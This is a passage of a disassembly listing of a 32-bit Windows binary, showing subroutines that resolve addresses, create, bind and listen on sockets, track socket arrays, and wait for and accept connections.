mov ebp, esp sub esp, 40Ch lea eax, [ebp+var_408] push eax push 0 push 0 push [ebp+arg_0] call dword_41DF64 ; getaddrinfo test eax, eax jnz loc_4046B8 mov eax, [ebp+var_408] mov [ebp+var_40C], eax loc_404643: ; CODE XREF: sub_404612+98j cmp [ebp+var_40C], 0 jz short loc_4046AC push 2 push 0 push 0 push 401h lea eax, [ebp+var_404] push eax mov eax, [ebp+var_40C] push dword ptr [eax+10h] mov eax, [ebp+var_40C] push dword ptr [eax+18h] call dword_41DF68 ; getnameinfo test eax, eax jnz short loc_40469B mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 2 jnz short loc_40469B lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_416B3A ; strcpy pop ecx pop ecx mov al, 1 jmp short locret_4046BA ; --------------------------------------------------------------------------- loc_40469B: ; CODE XREF: sub_404612+66j ; sub_404612+72j mov eax, [ebp+var_40C] mov eax, [eax+1Ch] mov [ebp+var_40C], eax jmp short loc_404643 ; --------------------------------------------------------------------------- loc_4046AC: ; CODE XREF: sub_404612+38j push [ebp+var_408] call dword_41DF6C ; freeaddrinfo loc_4046B8: ; CODE XREF: sub_404612+1Fj xor al, al locret_4046BA: ; CODE XREF: sub_404612+87j leave retn sub_404612 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4046BC proc near ; CODE XREF: sub_4020C2+124p ; sub_403DF3+36p ... var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch xor eax, eax test eax, eax jz short loc_4046D1 mov [ebp+var_3C], 2 jmp short loc_4046D8 ; --------------------------------------------------------------------------- loc_4046D1: ; CODE XREF: sub_4046BC+Aj mov [ebp+var_3C], 1 loc_4046D8: ; CODE XREF: sub_4046BC+13j mov eax, [ebp+var_3C] mov [ebp+var_8], eax push 1008h call sub_416B46 pop ecx mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jnz short loc_4046F9 xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_4046F9: ; CODE XREF: sub_4046BC+34j mov eax, [ebp+var_2C] and dword ptr [eax], 0 mov eax, [ebp+var_2C] and dword ptr [eax+804h], 0 push 20h push 0 lea eax, [ebp+var_28] push eax call sub_416B6A add esp, 0Ch call sub_40432E neg eax sbb eax, eax and al, 0FEh inc eax inc eax mov [ebp+var_24], eax mov eax, [ebp+var_8] mov [ebp+var_20], eax mov [ebp+var_28], 5 lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] push 0 call dword_41DF64 ; getaddrinfo test eax, eax jz short loc_40475D push [ebp+var_2C] call sub_416B4C pop ecx xor eax, eax jmp locret_40486F ; --------------------------------------------------------------------------- loc_40475D: ; CODE XREF: sub_4046BC+8Fj mov eax, [ebp+var_30] mov [ebp+var_4], eax jmp short loc_40476E ; --------------------------------------------------------------------------- loc_404765: ; CODE XREF: sub_4046BC+DDj ; sub_4046BC+F1j ... mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_40476E: ; CODE XREF: sub_4046BC+A7j cmp [ebp+var_4], 0 jz loc_40484E mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 mov [ebp+var_34], eax cmp [ebp+var_34], 0FFFFFFFFh jnz short loc_40479B jmp short loc_404765 ; --------------------------------------------------------------------------- loc_40479B: ; CODE XREF: sub_4046BC+DBj mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2 jz short loc_4047AF mov eax, [ebp+var_4] cmp dword ptr [eax+4], 17h jz short loc_4047AF jmp short loc_404765 ; --------------------------------------------------------------------------- loc_4047AF: ; CODE XREF: sub_4046BC+E6j ; sub_4046BC+EFj mov eax, [ebp+arg_4] and eax, 2 test eax, eax jz short loc_4047D6 mov [ebp+var_38], 1 push 4 lea eax, [ebp+var_38] push eax push 4 push 0FFFFh push [ebp+var_34] call dword_417204 loc_4047D6: ; CODE XREF: sub_4046BC+FBj mov eax, [ebp+var_4] push dword ptr [eax+10h] mov eax, [ebp+var_4] push dword ptr [eax+18h] push [ebp+var_34] call dword_417208 cmp eax, 0FFFFFFFFh jnz short loc_4047FE push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_4047FE: ; CODE XREF: sub_4046BC+132j cmp [ebp+var_8], 1 jnz short loc_404822 push 32h push [ebp+var_34] call dword_417268 cmp eax, 0FFFFFFFFh jnz short loc_404822 push [ebp+var_34] call sub_4053B1 pop ecx jmp loc_404765 ; --------------------------------------------------------------------------- loc_404822: ; CODE XREF: sub_4046BC+146j ; sub_4046BC+156j mov eax, [ebp+var_2C] mov eax, [eax] mov ecx, [ebp+var_2C] mov edx, [ebp+var_34] mov [ecx+eax*4+4], edx mov eax, [ebp+var_2C] mov eax, [eax] inc eax mov ecx, [ebp+var_2C] mov [ecx], eax mov eax, [ebp+var_2C] cmp dword ptr [eax], 200h jnz short loc_404849 jmp short loc_40484E ; --------------------------------------------------------------------------- loc_404849: ; CODE XREF: sub_4046BC+189j jmp loc_404765 ; --------------------------------------------------------------------------- loc_40484E: ; CODE XREF: sub_4046BC+B6j ; sub_4046BC+18Bj push [ebp+var_30] call dword_41DF6C ; freeaddrinfo mov eax, [ebp+var_2C] cmp dword ptr [eax], 0 jnz short loc_40486C push [ebp+var_2C] call sub_416B4C pop ecx xor eax, eax jmp short locret_40486F ; --------------------------------------------------------------------------- loc_40486C: ; CODE XREF: sub_4046BC+1A1j mov eax, [ebp+var_2C] locret_40486F: ; CODE XREF: sub_4046BC+38j ; sub_4046BC+9Cj ... leave retn sub_4046BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404871 proc near ; CODE XREF: sub_411BBC+B0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] push [ebp+arg_4] call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40488F xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_40488F: ; CODE XREF: sub_404871+18j mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+arg_0] add eax, [ecx] cmp eax, 200h jbe short loc_4048AD push [ebp+var_4] call sub_404CBB pop ecx xor eax, eax jmp short locret_4048ED ; --------------------------------------------------------------------------- loc_4048AD: ; CODE XREF: sub_404871+2Dj mov eax, [ebp+var_4] mov eax, [eax] shl eax, 2 push eax mov eax, [ebp+var_4] add eax, 4 push eax mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+arg_0] lea eax, [ecx+eax*4+4] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [ebp+var_4] add eax, [ecx] mov ecx, [ebp+arg_0] mov [ecx], eax push [ebp+var_4] call sub_416B4C pop ecx push 1 pop eax locret_4048ED: ; CODE XREF: sub_404871+1Cj ; sub_404871+3Aj leave retn sub_404871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048EF proc near ; CODE XREF: sub_4020C2+22Ep ; sub_403DF3+8Dp ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0A8h push esi mov [ebp+var_4], 80h and [ebp+var_8C], 0 jmp short loc_404916 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_4048EF+133j ; sub_4048EF:loc_404A32j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404916: ; CODE XREF: sub_4048EF+18j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404A37 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 test eax, eax jz loc_404A32 loc_40494A: ; CODE XREF: sub_4048EF+100j and [ebp+var_9C], 0 jmp short loc_404960 ; --------------------------------------------------------------------------- loc_404953: ; CODE XREF: sub_4048EF:loc_4049E6j mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax loc_404960: ; CODE XREF: sub_4048EF+62j mov eax, [ebp+arg_0] mov ecx, [ebp+var_9C] cmp ecx, [eax+804h] jnb short loc_4049EB mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_4049E6 loc_404990: ; CODE XREF: sub_4048EF+E0j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_9C], eax jnb short loc_4049D1 mov eax, [ebp+var_9C] mov ecx, [ebp+arg_0] mov edx, [ebp+var_9C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_9C] inc eax mov [ebp+var_9C], eax jmp short loc_404990 ; --------------------------------------------------------------------------- loc_4049D1: ; CODE XREF: sub_4048EF+B1j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049E6: ; CODE XREF: sub_4048EF+9Fj jmp loc_404953 ; --------------------------------------------------------------------------- loc_4049EB: ; CODE XREF: sub_4048EF+80j ; sub_4048EF+F5j xor eax, eax test eax, eax jnz loc_40494A lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC mov [ebp+var_98], eax cmp [ebp+var_98], 0FFFFFFFFh jnz short loc_404A27 jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A27: ; CODE XREF: sub_4048EF+131j mov eax, [ebp+var_98] jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404A32: ; CODE XREF: sub_4048EF+55j jmp loc_404909 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_4048EF+32j mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 and [ebp+var_8C], 0 jmp short loc_404A57 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_4048EF+21Dj mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404A57: ; CODE XREF: sub_4048EF+159j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404B11 loc_404A68: ; CODE XREF: sub_4048EF+217j and [ebp+var_A0], 0 jmp short loc_404A7E ; --------------------------------------------------------------------------- loc_404A71: ; CODE XREF: sub_4048EF:loc_404AB0j mov eax, [ebp+var_A0] inc eax mov [ebp+var_A0], eax loc_404A7E: ; CODE XREF: sub_4048EF+180j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnb short loc_404AB2 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404AB0 jmp short loc_404AB2 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_4048EF+1BDj jmp short loc_404A71 ; --------------------------------------------------------------------------- loc_404AB2: ; CODE XREF: sub_4048EF+19Ej ; sub_4048EF+1BFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_A0] cmp ecx, [eax+804h] jnz short loc_404B02 mov eax, [ebp+arg_0] cmp dword ptr [eax+804h], 200h jnb short loc_404B02 mov eax, [ebp+var_A0] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+4] mov [ecx+eax*4+808h], edx mov eax, [ebp+arg_0] mov eax, [eax+804h] inc eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax loc_404B02: ; CODE XREF: sub_4048EF+1D2j ; sub_4048EF+1E1j xor eax, eax test eax, eax jnz loc_404A68 jmp loc_404A4A ; --------------------------------------------------------------------------- loc_404B11: ; CODE XREF: sub_4048EF+173j mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx mov [ebp+var_94], eax mov eax, [ebp+arg_4] xor edx, edx mov ecx, 3E8h div ecx imul edx, 3E8h mov [ebp+var_90], edx lea eax, [ebp+var_94] push eax push 0 push 0 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_41722C mov [ebp+var_88], eax cmp [ebp+var_88], 0 jnz short loc_404B71 or eax, 0FFFFFFFFh jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B71: ; CODE XREF: sub_4048EF+278j cmp [ebp+var_88], 0FFFFFFFFh jnz short loc_404B81 xor eax, eax jmp loc_404CB8 ; --------------------------------------------------------------------------- loc_404B81: ; CODE XREF: sub_4048EF+289j and [ebp+var_8C], 0 jmp short loc_404B97 ; --------------------------------------------------------------------------- loc_404B8A: ; CODE XREF: sub_4048EF+3B4j ; sub_4048EF:loc_404CB0j mov eax, [ebp+var_8C] inc eax mov [ebp+var_8C], eax loc_404B97: ; CODE XREF: sub_4048EF+299j mov eax, [ebp+arg_0] mov ecx, [ebp+var_8C] cmp ecx, [eax] jnb loc_404CB5 mov eax, [ebp+arg_0] add eax, 804h push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_416E30 test eax, eax jz loc_404CB0 loc_404BCB: ; CODE XREF: sub_4048EF+381j and [ebp+var_A8], 0 jmp short loc_404BE1 ; --------------------------------------------------------------------------- loc_404BD4: ; CODE XREF: sub_4048EF:loc_404C67j mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax loc_404BE1: ; CODE XREF: sub_4048EF+2E3j mov eax, [ebp+arg_0] mov ecx, [ebp+var_A8] cmp ecx, [eax+804h] jnb short loc_404C6C mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8C] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+808h] cmp eax, [esi+edx*4+4] jnz short loc_404C67 loc_404C11: ; CODE XREF: sub_4048EF+361j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax cmp [ebp+var_A8], eax jnb short loc_404C52 mov eax, [ebp+var_A8] mov ecx, [ebp+arg_0] mov edx, [ebp+var_A8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+80Ch] mov [ecx+eax*4+808h], edx mov eax, [ebp+var_A8] inc eax mov [ebp+var_A8], eax jmp short loc_404C11 ; --------------------------------------------------------------------------- loc_404C52: ; CODE XREF: sub_4048EF+332j mov eax, [ebp+arg_0] mov eax, [eax+804h] dec eax mov ecx, [ebp+arg_0] mov [ecx+804h], eax jmp short loc_404C6C ; --------------------------------------------------------------------------- loc_404C67: ; CODE XREF: sub_4048EF+320j jmp loc_404BD4 ; --------------------------------------------------------------------------- loc_404C6C: ; CODE XREF: sub_4048EF+301j ; sub_4048EF+376j xor eax, eax test eax, eax jnz loc_404BCB lea eax, [ebp+var_4] push eax lea eax, [ebp+var_84] push eax mov eax, [ebp+var_8C] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call dword_4171FC mov [ebp+var_A4], eax cmp [ebp+var_A4], 0FFFFFFFFh jnz short loc_404CA8 jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CA8: ; CODE XREF: sub_4048EF+3B2j mov eax, [ebp+var_A4] jmp short loc_404CB8 ; --------------------------------------------------------------------------- loc_404CB0: ; CODE XREF: sub_4048EF+2D6j jmp loc_404B8A ; --------------------------------------------------------------------------- loc_404CB5: ; CODE XREF: sub_4048EF+2B3j or eax, 0FFFFFFFFh loc_404CB8: ; CODE XREF: sub_4048EF+13Ej ; sub_4048EF+27Dj ... pop esi leave retn sub_4048EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CBB proc near ; CODE XREF: sub_4020C2+175p ; sub_4020C2+25Fp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404CCC ; --------------------------------------------------------------------------- loc_404CC5: ; CODE XREF: sub_404CBB+3Ej mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404CCC: ; CODE XREF: sub_404CBB+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax] jnb short loc_404CFB cmp dword_41DF18, 0 jz short loc_404CE9 mov eax, [ebp+arg_0] cmp dword ptr [eax], 64h jbe short loc_404CE9 jmp short loc_404CFB ; --------------------------------------------------------------------------- loc_404CE9: ; CODE XREF: sub_404CBB+22j ; sub_404CBB+2Aj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] call sub_4053B1 pop ecx jmp short loc_404CC5 ; --------------------------------------------------------------------------- loc_404CFB: ; CODE XREF: sub_404CBB+19j ; sub_404CBB+2Cj mov eax, [ebp+arg_0] and dword ptr [eax+804h], 0 push [ebp+arg_0] call sub_416B4C pop ecx leave retn sub_404CBB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D10 proc near ; CODE XREF: sub_41349C+1B7p ; sub_4143B0+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 200h jbe short loc_404D21 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D21: ; CODE XREF: sub_404D10+Bj push 1010h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_404D39 xor eax, eax jmp short locret_404D4B ; --------------------------------------------------------------------------- loc_404D39: ; CODE XREF: sub_404D10+23j mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] locret_404D4B: ; CODE XREF: sub_404D10+Fj ; sub_404D10+27j leave retn sub_404D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4D proc near ; CODE XREF: sub_41349C+417p ; sub_4143B0+109p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] cmp eax, [ecx] jnz short loc_404D6A push [ebp+arg_0] call sub_4053B1 pop ecx xor eax, eax jmp short loc_404D99 ; --------------------------------------------------------------------------- loc_404D6A: ; CODE XREF: sub_404D4D+Ej mov eax, [ebp+arg_4] mov eax, [eax+4] mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov [ecx+eax*4+0Ch], edx mov eax, [ebp+arg_4] mov eax, [eax+4] inc eax mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] mov eax, [eax+4] xor edx, edx cmp eax, [ecx] setnz dl mov eax, edx loc_404D99: ; CODE XREF: sub_404D4D+1Bj pop ebp retn sub_404D4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D9B proc near ; CODE XREF: sub_41349C+512p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404DAC ; --------------------------------------------------------------------------- loc_404DA5: ; CODE XREF: sub_404D9B:loc_404E18j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404DAC: ; CODE XREF: sub_404D9B+8j mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short locret_404E1A mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4+0Ch] cmp eax, [ebp+arg_0] jnz short loc_404E18 mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] cmp ecx, [eax+8] jb short loc_404DDE mov eax, [ebp+arg_4] mov eax, [eax+8] dec eax mov ecx, [ebp+arg_4] mov [ecx+8], eax loc_404DDE: ; CODE XREF: sub_404D9B+34j mov eax, [ebp+arg_4] mov eax, [eax+4] sub eax, [ebp+var_4] shl eax, 2 push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+10h] push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4+0Ch] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+arg_4] mov eax, [eax+4] dec eax mov ecx, [ebp+arg_4] mov [ecx+4], eax jmp short locret_404E1A ; --------------------------------------------------------------------------- loc_404E18: ; CODE XREF: sub_404D9B+29j jmp short loc_404DA5 ; --------------------------------------------------------------------------- locret_404E1A: ; CODE XREF: sub_404D9B+1Aj ; sub_404D9B+7Bj leave retn sub_404D9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E1C proc near ; CODE XREF: sub_41349C+45Fp ; sub_4143B0+14Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push esi mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 and [ebp+var_8], 0 jmp short loc_404E41 ; --------------------------------------------------------------------------- loc_404E3A: ; CODE XREF: sub_404E1C+BDj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_404E41: ; CODE XREF: sub_404E1C+1Cj mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+4] jnb loc_404EDE loc_404E50: ; CODE XREF: sub_404E1C+B7j and [ebp+var_14], 0 jmp short loc_404E5D ; --------------------------------------------------------------------------- loc_404E56: ; CODE XREF: sub_404E1C:loc_404E86j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_404E5D: ; CODE XREF: sub_404E1C+38j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnb short loc_404E88 mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov eax, [ecx+eax*4+810h] cmp eax, [esi+edx*4+0Ch] jnz short loc_404E86 jmp short loc_404E88 ; --------------------------------------------------------------------------- loc_404E86: ; CODE XREF: sub_404E1C+66j jmp short loc_404E56 ; --------------------------------------------------------------------------- loc_404E88: ; CODE XREF: sub_404E1C+4Dj ; sub_404E1C+68j mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] cmp ecx, [eax+80Ch] jnz short loc_404ECF mov eax, [ebp+arg_0] cmp dword ptr [eax+80Ch], 200h jnb short loc_404ECF mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov esi, [ebp+arg_0] mov edx, [esi+edx*4+0Ch] mov [ecx+eax*4+810h], edx mov eax, [ebp+arg_0] mov eax, [eax+80Ch] inc eax mov ecx, [ebp+arg_0] mov [ecx+80Ch], eax loc_404ECF: ; CODE XREF: sub_404E1C+78j ; sub_404E1C+87j xor eax, eax test eax, eax jnz loc_404E50 jmp loc_404E3A ; --------------------------------------------------------------------------- loc_404EDE: ; CODE XREF: sub_404E1C+2Ej and [ebp+var_10], 0 mov [ebp+var_C], 3E8h lea eax, [ebp+var_10] push eax push 0 mov eax, [ebp+arg_0] add eax, 80Ch push eax push 0 push 0 call dword_41722C mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404F1A cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404F1A mov [ebp+var_18], 1 jmp short loc_404F1E ; --------------------------------------------------------------------------- loc_404F1A: ; CODE XREF: sub_404E1C+EDj ; sub_404E1C+F3j and [ebp+var_18], 0 loc_404F1E: ; CODE XREF: sub_404E1C+FCj mov eax, [ebp+var_18] pop esi leave retn sub_404E1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F24 proc near ; CODE XREF: sub_41349C+470p ; sub_4143B0+16Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_4], eax jmp short loc_404F3A ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F24:loc_404F77j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F3A: ; CODE XREF: sub_404F24+Dj mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404F79 mov eax, [ebp+arg_0] add eax, 80Ch push eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_416E30 test eax, eax jz short loc_404F77 mov eax, [ebp+var_4] inc eax mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov eax, [ecx+eax*4+0Ch] jmp short locret_404F7B ; --------------------------------------------------------------------------- loc_404F77: ; CODE XREF: sub_404F24+3Bj jmp short loc_404F33 ; --------------------------------------------------------------------------- loc_404F79: ; CODE XREF: sub_404F24+1Fj xor eax, eax locret_404F7B: ; CODE XREF: sub_404F24+51j leave retn sub_404F24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F7D proc near ; CODE XREF: sub_404FD0+6p ; sub_41349C+59Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_404F8E ; --------------------------------------------------------------------------- loc_404F87: ; CODE XREF: sub_404F7D+37j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_404F8E: ; CODE XREF: sub_404F7D+8j mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] cmp ecx, [eax+4] jnb short loc_404FB6 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+0Ch] call sub_4053B1 pop ecx mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and dword ptr [ecx+eax*4+0Ch], 0 jmp short loc_404F87 ; --------------------------------------------------------------------------- loc_404FB6: ; CODE XREF: sub_404F7D+1Aj mov eax, [ebp+arg_0] and dword ptr [eax+4], 0 mov eax, [ebp+arg_0] and dword ptr [eax+8], 0 mov eax, [ebp+arg_0] and dword ptr [eax+80Ch], 0 leave retn sub_404F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FD0 proc near ; CODE XREF: sub_41349C+5FBp ; sub_4143B0+238p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_404F7D pop ecx push [ebp+arg_0] call sub_416B4C pop ecx pop ebp retn sub_404FD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404FE7 proc near ; CODE XREF: sub_412BC9+11p ; sub_41349C+40Ep ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2Ch push 20h push 0 lea eax, [ebp+var_24] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+arg_8] and eax, 2 test eax, eax jz short loc_405010 mov [ebp+var_20], 17h jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405010: ; CODE XREF: sub_404FE7+1Ej mov eax, [ebp+arg_8] and eax, 1 test eax, eax jz short loc_405023 mov [ebp+var_20], 2 jmp short loc_405027 ; --------------------------------------------------------------------------- loc_405023: ; CODE XREF: sub_404FE7+31j and [ebp+var_20], 0 loc_405027: ; CODE XREF: sub_404FE7+27j ; sub_404FE7+3Aj mov eax, [ebp+arg_8] and eax, 4 xor ecx, ecx test eax, eax setnz cl inc ecx mov [ebp+var_1C], ecx lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_41DF64 ; getaddrinfo test eax, eax jz short loc_405057 xor eax, eax jmp locret_4050E8 ; --------------------------------------------------------------------------- loc_405057: ; CODE XREF: sub_404FE7+67j mov eax, [ebp+var_28] mov [ebp+var_4], eax jmp short loc_405068 ; --------------------------------------------------------------------------- loc_40505F: ; CODE XREF: sub_404FE7+A8j ; sub_404FE7+F4j mov eax, [ebp+var_4] mov eax, [eax+1Ch] mov [ebp+var_4], eax loc_405068: ; CODE XREF: sub_404FE7+76j cmp [ebp+var_4], 0 jz short loc_4050DD mov eax, [ebp+var_4] push dword ptr [eax+0Ch] mov eax, [ebp+var_4] push dword ptr [eax+8] mov eax, [ebp+var_4] push dword ptr [eax+4] call dword_417218 mov [ebp+var_2C], eax cmp [ebp+var_2C], 0FFFFFFFFh jnz short loc_405091 jmp short loc_40505F ; --------------------------------------------------------------------------- loc_405091: ; CODE XREF: sub_404FE7+A6j push 0 push [ebp+var_2C] call sub_404457 pop ecx pop ecx mov eax, [ebp+var_4] push dword ptr 